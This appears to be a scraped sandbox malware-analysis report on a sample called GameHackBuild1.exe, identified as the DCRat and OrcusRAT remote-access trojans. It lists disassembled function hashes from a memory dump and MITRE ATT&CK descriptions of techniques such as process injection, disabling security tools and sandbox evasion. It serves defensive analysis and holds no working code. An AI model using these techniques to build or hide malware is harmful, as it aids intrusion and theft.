Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93a785634c2732341c23ea0982b54637d6b5d9b99d0db6f51c94b7fadbf4f70
Instruction ID: 8f8b8c5202baf1af14a33c6ba31238502e9d0d7445d5de49966fb5f54e9cdc43
Opcode Fuzzy Hash: d93a785634c2732341c23ea0982b54637d6b5d9b99d0db6f51c94b7fadbf4f70
Instruction Fuzzy Hash: C451E675300B018FCB29DF39E49996EB7F6BF89218B5109A9E506CB361DB31EC45CB60

Function 01570E9A Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf31b01319b106320a340ee9ca1ccd396d7de91614c56248765d89200962b9b4
Instruction ID: 35c3d01c64ade9b3cde53b557f9d5a5336ddcf0b8b7f4771653048d50bc2c0e9
Opcode Fuzzy Hash: bf31b01319b106320a340ee9ca1ccd396d7de91614c56248765d89200962b9b4
Instruction Fuzzy Hash: B7317E71A00209DFDB18CF68E449BADBBF2FF49310F208569F415AB2A1DB75A945CB40

Function 0157AC2D Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6150c037a22b017b682b951e046aa3200409511868c64794b8dfa25637cec175
Instruction ID: f45165acde428eabb7a4ea0d3ee11523a667c9091871cb155c95046ec0016f82
Opcode Fuzzy Hash: 6150c037a22b017b682b951e046aa3200409511868c64794b8dfa25637cec175
Instruction Fuzzy Hash: E71193357043008FCB06DB6CE845E7D7BF6EF8962075945A6F54ACB772DA21DC0287A0

Function 01576A28 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9902ac8f51c4c500b659520592c6f7dd07d5c36590fe4cdcbe39a0fbd4d2918
Instruction ID: 69d47e1a606956bf827792b2565e3920cd7c6a018d3d5c465aa45c80d1a32245
Opcode Fuzzy Hash: e9902ac8f51c4c500b659520592c6f7dd07d5c36590fe4cdcbe39a0fbd4d2918
Instruction Fuzzy Hash: E0311A70E01209DFDB04EFA9E495AEEBBF2FF49304F204429E415BB250DB75A905CB91

Function 01576A38 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf5171eb392199705e62ffd84912b12afbc577d21a5250626e0c07d200949ad
Instruction ID: 0eb3f82e8179db5fa019503bae2d3464b54ef4ceaed86c9e4e67679564696e3c
Opcode Fuzzy Hash: ccf5171eb392199705e62ffd84912b12afbc577d21a5250626e0c07d200949ad
Instruction Fuzzy Hash: 21310770E01209DFDB04EFA9E485AEEBBB2FF49300F208429E415AB250DB75AD05CB61

Function 01570D40 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7925e3f0f8cae3ac453d9cc12449f1bcf94b12b7f5dd028fa4e47e162a2d4f01
Instruction ID: 2cd50118181f023a3431cc2e78b369c07055ccabb6c4745f385ea39e49d58caf
Opcode Fuzzy Hash: 7925e3f0f8cae3ac453d9cc12449f1bcf94b12b7f5dd028fa4e47e162a2d4f01
Instruction Fuzzy Hash: 2501F5777443194BD312563DB84165E7BDAE7C6765F28013AFA0ACB385CE66EC428390

Function 01578740 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a762163a6d027ed2c23719077667d8fd71673b0cdc60b75284f7783dc080cf71
Instruction ID: 14d59955372149ba9b0f3b6fa64e890f7f7f281d38b91f471a9e43fa3800d953
Opcode Fuzzy Hash: a762163a6d027ed2c23719077667d8fd71673b0cdc60b75284f7783dc080cf71
Instruction Fuzzy Hash: 120117352146008FC314CF29D889D66BBF6FF89721B550999E546CB762CB32EC05CB20

Function 0157AA18 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e06e504c404327ddf1e17aee837cea1788c1de3ee57b58e7c1021bd546cb561
Instruction ID: dda1d064b958061f406e73c421ede2aae84b00588a16b526e990d7ef7712b4a4
Opcode Fuzzy Hash: 4e06e504c404327ddf1e17aee837cea1788c1de3ee57b58e7c1021bd546cb561
Instruction Fuzzy Hash: 19F0F6313053018FDB14A52DA941B2FA3DAEBC8550718963EA50ACF745EE74EC0283A4

Function 01571220 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42ec99ea2fbbddd752fb261e53e0aef61f9a2446a8c7ecddabcacd01eea1652c
Instruction ID: 708b3fe0d0bd7a1ea0fe9c699877ebb50aaa6eb1ea2f34c09d49c31a9580a006
Opcode Fuzzy Hash: 42ec99ea2fbbddd752fb261e53e0aef61f9a2446a8c7ecddabcacd01eea1652c
Instruction Fuzzy Hash: ADF0C2757086504FD3014B3EA891A257BFAFFC662071981ABE515CF3B2C920CC058351

Function 01571210 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118318f7b933497407fbd0dc7c5b3009d75502ff0c7ae73446b7006ea95e6e86
Instruction ID: d7b2c2944215e48ed0d77aae74fd48f06b8bb0f8691b8ab6a15fcdbb8b672b83
Opcode Fuzzy Hash: 118318f7b933497407fbd0dc7c5b3009d75502ff0c7ae73446b7006ea95e6e86
Instruction Fuzzy Hash: 18F0BE317006008FC3048B2EE880AAA77F6FFC576072980AAE409CB372CA61CC07CB50

Function 015711C8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6167a6c306ea15a721b6b4e1635e7a1ee2318a332ca66ab7d1e586b74677a91b
Instruction ID: fd8b355f242ef2d4adf0af714f0aa74ab7dec4658706c4ef536fa08df442a2c9
Opcode Fuzzy Hash: 6167a6c306ea15a721b6b4e1635e7a1ee2318a332ca66ab7d1e586b74677a91b
Instruction Fuzzy Hash: BCF085357005006FC210869EE884E06BBEABFC8A24B288069F20ACB371D960EC028650

Function 015711B8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491ce30abab912958dda4aa3aa998ed1ee1dd56af92ec12ea629b2d482425cf1
Instruction ID: 6adc4a9da2181bade3bd2d0624dc635c3b59affe99751b779e71dfead60b18b9
Opcode Fuzzy Hash: 491ce30abab912958dda4aa3aa998ed1ee1dd56af92ec12ea629b2d482425cf1
Instruction Fuzzy Hash: D3F0E5367442015FC315429EF855A96BBFAFFC937573884BFE009CB361D965CC428621

Function 015713E8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c10378a855f91a92f58382665aadd8be3c9813bf5e5139ca7573fd7dc80c03b
Instruction ID: 80811e72aed2eb088260dd08d8fae2acd7b217af7690b3a9d05e09d502e90ddb
Opcode Fuzzy Hash: 2c10378a855f91a92f58382665aadd8be3c9813bf5e5139ca7573fd7dc80c03b
Instruction Fuzzy Hash: FAF0BE6090E38A9FCB02CBB4AD5A64C7FB4EB43200B0840EFE448CF2A3C5240D089352

Function 01570FAB Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a5c85feb02403272383a632069152211005c15a3d3dc6533d26cdc6ea0670ae
Instruction ID: be4013b8fc1c8b27df65764a6273734bf8ea35cd3f3a235e3f0897d4c34fb4ac
Opcode Fuzzy Hash: 1a5c85feb02403272383a632069152211005c15a3d3dc6533d26cdc6ea0670ae
Instruction Fuzzy Hash: 7CF01774A0121DDFDB25DFA4E99ABAEBFB2BB44305F100419E002AB284CB741941CB81

Function 0157B050 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bb05e0fcb78c82e2e925a0dd71d6d615157de7d13353bc81434ab9d9fd78970
Instruction ID: ca40b2c0448aa186eec15ae68e23f53a3fd7453a4779aa76a9f7f22ae8582162
Opcode Fuzzy Hash: 7bb05e0fcb78c82e2e925a0dd71d6d615157de7d13353bc81434ab9d9fd78970
Instruction Fuzzy Hash: 59F08C70C043499FCB40DFB8D9416EEBFF8EF05200F1045AAC059E7151E7701A05CBA2

Function 01576BE0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 394b5b1aa16a98485e8a23b8d13add0d9ff29ae8dd6b48d672052436e304f38e
Instruction ID: 8616a03f7dbf8f4d5be6192bd057bf66b6455f1474c9f744976c8ca117699dc2
Opcode Fuzzy Hash: 394b5b1aa16a98485e8a23b8d13add0d9ff29ae8dd6b48d672052436e304f38e
Instruction Fuzzy Hash: B8E0C23630161297FB08155DB1113FF3ACCEB45265F0884BAE90DCB240EB2AC8418391

Function 0157105A Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418ef587973b410cbcd92862595c3bc40754a2b1bad0ff24727a452aea474432
Instruction ID: d302f44bcb382ece58142773a82a635055771c8cc8fad0cec85986529c03a346
Opcode Fuzzy Hash: 418ef587973b410cbcd92862595c3bc40754a2b1bad0ff24727a452aea474432
Instruction Fuzzy Hash: 00E04F32645349EFC725CBB499114ED7BF8AA45321B2501EBD401DA165DA3A8941CB51

Function 0157B060 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bf2d5ff25fe20aae22a1bf8478ab5cb0889c48d91a8dbb04409678ac9d88749
Instruction ID: 4abaf9ca7d9965d018c10df97396d2071899bd95033d700c57f421a6d502c482
Opcode Fuzzy Hash: 4bf2d5ff25fe20aae22a1bf8478ab5cb0889c48d91a8dbb04409678ac9d88749
Instruction Fuzzy Hash: 69E0E571D1031AAFCB40EFA8DA457EEBBF8EF04211F10456AC519E7244EB706B15CBA2

Function 01571068 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91dc8f242ba2bb558d69fce3aa7f37764fe1417dd7328f3bb5352df3abcc511
Instruction ID: 533b28d79d3e254837202c1ca477e79137da005274010f33b84e5813e4355319
Opcode Fuzzy Hash: b91dc8f242ba2bb558d69fce3aa7f37764fe1417dd7328f3bb5352df3abcc511
Instruction Fuzzy Hash: 85D01732A0520CABCB20DEB4A9015AABBECEB09205B1006EA9D09D7214EE32DA1097D1

Function 015713F8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d03f464d5e789c281347c3f6af7d0c5bf9818054771e13af993c6f4783e7ff
Instruction ID: 8b83d7826d6bc2ff55bcbcefa3ab28f872518b26cd48c17c4480ebbe5c547d0a
Opcode Fuzzy Hash: 07d03f464d5e789c281347c3f6af7d0c5bf9818054771e13af993c6f4783e7ff
Instruction Fuzzy Hash: 08D05E70A0620DEFCF00DFA9FA4299DBBF9EB44204B1041ADE80DD7300EA312F04AB91

Function 01576B98 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f12dde5ae14764e1454d3fa30ebc98f6b0cfea6f0a437825fb892c35f52286c
Instruction ID: 69bf9fea6073fe93b8e4da93f1c5cc9a73a1e386826640b1955c892a585a9578
Opcode Fuzzy Hash: 0f12dde5ae14764e1454d3fa30ebc98f6b0cfea6f0a437825fb892c35f52286c
Instruction Fuzzy Hash: C6D0A938600A0ACBC7429F0CD004B52B3A9FF8070DF240268952406382CB3A5C26DF42

Function 0157A3EB Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f30b2e4f594a9cd9508c32553904068e2459bd687265c2935bc69a01ae39f41
Instruction ID: a4d2fefbcd403ccce68d8c203c2c32c5b176d01d340719068407cb878ad5ab25
Opcode Fuzzy Hash: 8f30b2e4f594a9cd9508c32553904068e2459bd687265c2935bc69a01ae39f41
Instruction Fuzzy Hash: F5B09237B240148B4E089689B8491FDF3AAE7E8226B248033D212D28009B711A26A7A1

Function 01570840 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca947d974f54956133f2434422d5280b3a77920e43f945e96a58c74f1b9a6843
Instruction ID: da9dc05d1f24d3ed39737cbfc3e18ad31f39d5b96f26419f4da4bcbd9086a7b8
Opcode Fuzzy Hash: ca947d974f54956133f2434422d5280b3a77920e43f945e96a58c74f1b9a6843
Instruction Fuzzy Hash: 9AC02B7181030CDFD7A0521468007E83BFD8796365F0100A3EC0CCE3C3F2500C004711

Function 01570850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f133509a66e3f51908e8ca589642c60255912731fb44e92fcd42417989c33b
Instruction ID: f9dac22474e1410f707a2c7c3432bd2cc6dd2e4aa0c6b4f5f47435e454e89195
Opcode Fuzzy Hash: 30f133509a66e3f51908e8ca589642c60255912731fb44e92fcd42417989c33b
Instruction Fuzzy Hash: 6D90023504570C8B8560279575495A9779D968563AB800051F50D495455B5568104695

Function 01570488 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2043943879.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_1570000_MpDefenderCoreProtion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7976e677e70c4d1e26e8535a4d543e9444b321806ed9c6375f380ca59d659cc7
Instruction ID: 6d8c9594e0298118a3c08b8ab10bbe82248ee96bcb8da5952e6e9389c31eb0d3
Opcode Fuzzy Hash: 7976e677e70c4d1e26e8535a4d543e9444b321806ed9c6375f380ca59d659cc7
Instruction Fuzzy Hash: 32A002B8601205CBCE64DF11FB5A879FFE5BBC6315F059694B40F8E1D6CB20A840CB80

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GameHackBuild1.exe.bin.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Threatname: OrcusRAT

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

